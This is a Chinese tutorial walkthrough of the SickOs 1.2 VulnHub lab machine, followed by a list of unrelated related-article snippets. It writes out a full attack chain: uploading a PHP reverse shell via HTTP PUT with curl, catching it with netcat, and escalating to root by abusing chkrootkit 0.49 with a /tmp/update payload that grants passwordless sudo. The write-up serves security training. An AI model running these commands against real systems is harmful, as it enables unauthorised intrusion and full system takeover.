SickOs 1.2靶机(超详细教学)

ops/2025/2/11 0:43:45/

靶机地址:https://www.vulnhub.com/entry/sickos-12,144/

一、主机发现

使用

arp-scan -l

查找靶机ip地址

靶机ip地址为192.168.55.146

攻击机的ip地址为192.168.55.129

二、进行端口扫描、目录枚举、指纹识别

1.端口扫描

nmap 192.168.55.146

发现靶机只有22和80端口

2.目录枚举

dirb http://192.168.55.146

3.指纹识别

常用命令:

nmap 192.168.55.146 -sV -sC -O --version-all

三、进入靶机网页进行信息收集

网页中没有功能点,没有其它的信息

四、反弹shell

我们回到刚刚的目录扫描中发现页面中有一个敏感目录:

http://192.168.55.146/test/

访问此url发现这是一个目录列表,还有一个版本信息

搜了一下lighttpd的漏洞,发现没有什么能够利用的

补充知识:

curl(Client URL)是一个用于传输数据的工具,它支持多种协议,包括 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TFTP、DICT、TELNET、LDAP 等。其主要用途是通过指定的协议从服务器上获取数据或向服务器发送数据,而不需要用户手动进行复杂的网络交互操作。

这里使用curl检查目录test上可用的HTTP方法

curl -v -X OPTIONS http://192.168.55.146/test命令解释:
-v:即 --verbose,表示开启详细模式。使用该选项后,curl 会输出更多关于请求和响应的详细信息,包括请求头、响应头、传输过程等,有助于调试和了解请求的具体情况。
-X OPTIONS:-X 选项用于指定 HTTP 请求方法,这里指定的方法是 OPTIONS。OPTIONS 是一种 HTTP 请求方法,客户端使用它可以向服务器询问针对特定资源所支持的请求方法,或者服务器的一些通用功能。简单来说,客户端可以通过发送 OPTIONS 请求来了解服务器对于某个资源可以接受哪些操作(如 GET、POST、PUT 等)。当执行这个命令后,终端会输出详细的请求和响应信息

此处发现可以使用PUT上传文件

首先打开/usr/share/webshells/php/php-reverse-shell.php文件,这个是一个反弹shell的php文件,将其中的ip改为自己的攻击机ip,端口设置为443端口(8888之类的端口不能反弹,可能是防火墙不允许这种非常用端口)

进行文件上传:

curl --upload-file php-reverse-shell.php -v --url http://192.168.55.146/test/a.php -0 --http1.0此命令是将桌面上的反弹shell的文件上传到网站中并命名为a.php

在桌面中再开一个终端进行443端口的监听

nc -lvvp 443

开启监听后在网页中访问a.php文件

反弹shell成功

五、提权

使用命令开启交互式终端,可以看到回显信息:

python -c 'import pty; pty.spawn("/bin/bash")'

进行信息收集:

lsb_release -a

补充知识:

linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另外, 由于使用者自己也可以设置计划任务,所以, Linux系统也提供了使用者控制计划任务的命令 :crontab 命令。

基于此我们可以查看计划任务:

ls -l /etc/cron*

chkrootkit 是一款在类 Unix 系统(包括 Kali Linux)中广泛使用的开源工具,主要用于检测系统是否被植入了 Rootkit

查看此工具的版本,并检查是否有漏洞

查看到是0.49版本

发现存在漏洞

将exp拷贝到桌面

根据漏洞可知,靶机中的文件 /tmp/update 将以 root 身份执行

进入tmp目录后发现没有update目录,我们创建一个update文件,然后在其中插入提权语句

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update命令解释:
chmod 777 /etc/sudoers:
chmod 是用于修改文件权限的命令。
777 表示赋予文件所有者、所属组和其他用户读、写、执行的所有权限。
/etc/sudoers 文件默认权限通常为 440,仅允许 root 用户读写,此步骤是为了后续能够向该文件写入内容。echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers:
echo 用于输出字符串。
"www-data ALL=NOPASSWD: ALL" 是 sudoers 文件的一条规则,意味着 www-data 用户在使用 sudo 执行命令时无需输入密码。
>> 是追加重定向符号,将 echo 输出的内容追加到 /etc/sudoers 文件的末尾。chmod 440 /etc/sudoers:
恢复 /etc/sudoers 文件的原始权限,即文件所有者和所属组有读权限,其他用户没有任何权限。这是为了保证文件的安全性,防止非授权用户对其进行修改。

继续执行:

chmod 777 /tmp/update
ls -la /etc/sudoers

可以执行两次ls -la /etc/sudoers命令,两次命令中间需要间隔2分钟左右,文件大小改变后说明文件执行,我们也就获得了root权限

文件大小改变后输入以下命令即可:

sudo -l
sudo su

提权成功!


http://www.ppmy.cn/ops/157398.html

相关文章

Git―分支管理

Git ⛅创建&切换&合并分支⛅删除分支⛅合并冲突⛅合并模式⛅Bug 分支⛅强制删除分支 master → 主分支 # 查看本地所有分支 git branch分支前面的*, 代表当前所在的分支 图中当前所在的分支为master ⛅创建&切换&合并分支 # 创建分支 git branch "bra…

STM32 CUBE Can调试

STM32 CUBE Can调试 1、CAN配置2、时钟配置3、手动添加4、回调函数5、启动函数和发送函数6、使用方法(采用消息队列来做缓存)7、数据不多在发送函数中获取空邮箱发送,否则循环等待空邮箱 1、CAN配置 2、时钟配置 3、手动添加 需要注意的是STM32CUBE配置的代码需要再…

Android修行手册-五种比较图片相似或相同

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC👉关于作者 专注于Android/Unity和各种游戏开发技巧,以及各种资源分享(网站、工具、素材…

一周发生AI事件总结(02.08)

本周人工智能领域发生的所有事件: Ilya Sutskever的初创公司正洽谈以约200亿美元估值进行融资:据路透社报道,由前OpenAI首席科学家Ilya Sutskever创立的人工智能初创公司Safe Superintelligence正洽谈以“至少”200亿美元的估值进行融资。该…

pytorch torch.linalg模块介绍

torch.linalg 是 PyTorch 的 线性代数 (Linear Algebra) 子模块,它提供了许多 高效的矩阵操作和分解方法,类似于 NumPy 的 numpy.linalg 或 SciPy 的 scipy.linalg,但针对 GPU 加速和自动微分 进行了优化。 1. 矩阵基本运算 矩阵乘法 torc…

后台管理系统网页开发

CSS样式代码 /* 后台管理系统样式文件 */ #container{ width:100%; height:100%; /* background-color:antiquewhite;*/ display:flex;} /* 左侧导航区域:宽度300px*/ .left{ width:300px; height: 100%; background-color:#203453; display:flex; flex-direction:column; jus…

活动预告 | 为 AI 新纪元做好准备:助力安全的业务转型

课程介绍 随着现代办公模式的不断演变和 AI 技术的迅速发展,企业在享受效率提升的同时,也面临着信息安全与数据保护的严峻挑战。在利用 AI 技术释放业务潜力的同时,如何确保数据质量与安全已成为企业发展的关键议题。 在本次线上课程中&…

如何在 Java 应用中实现数据库的主从复制(读写分离)?请简要描述架构和关键代码实现?

在Java应用中实现数据库主从复制(读写分离) 一、架构描述 (一)整体架构 主库(Master) 负责处理所有的写操作(INSERT、UPDATE、DELETE等)。它是数据的源头,所有的数据变…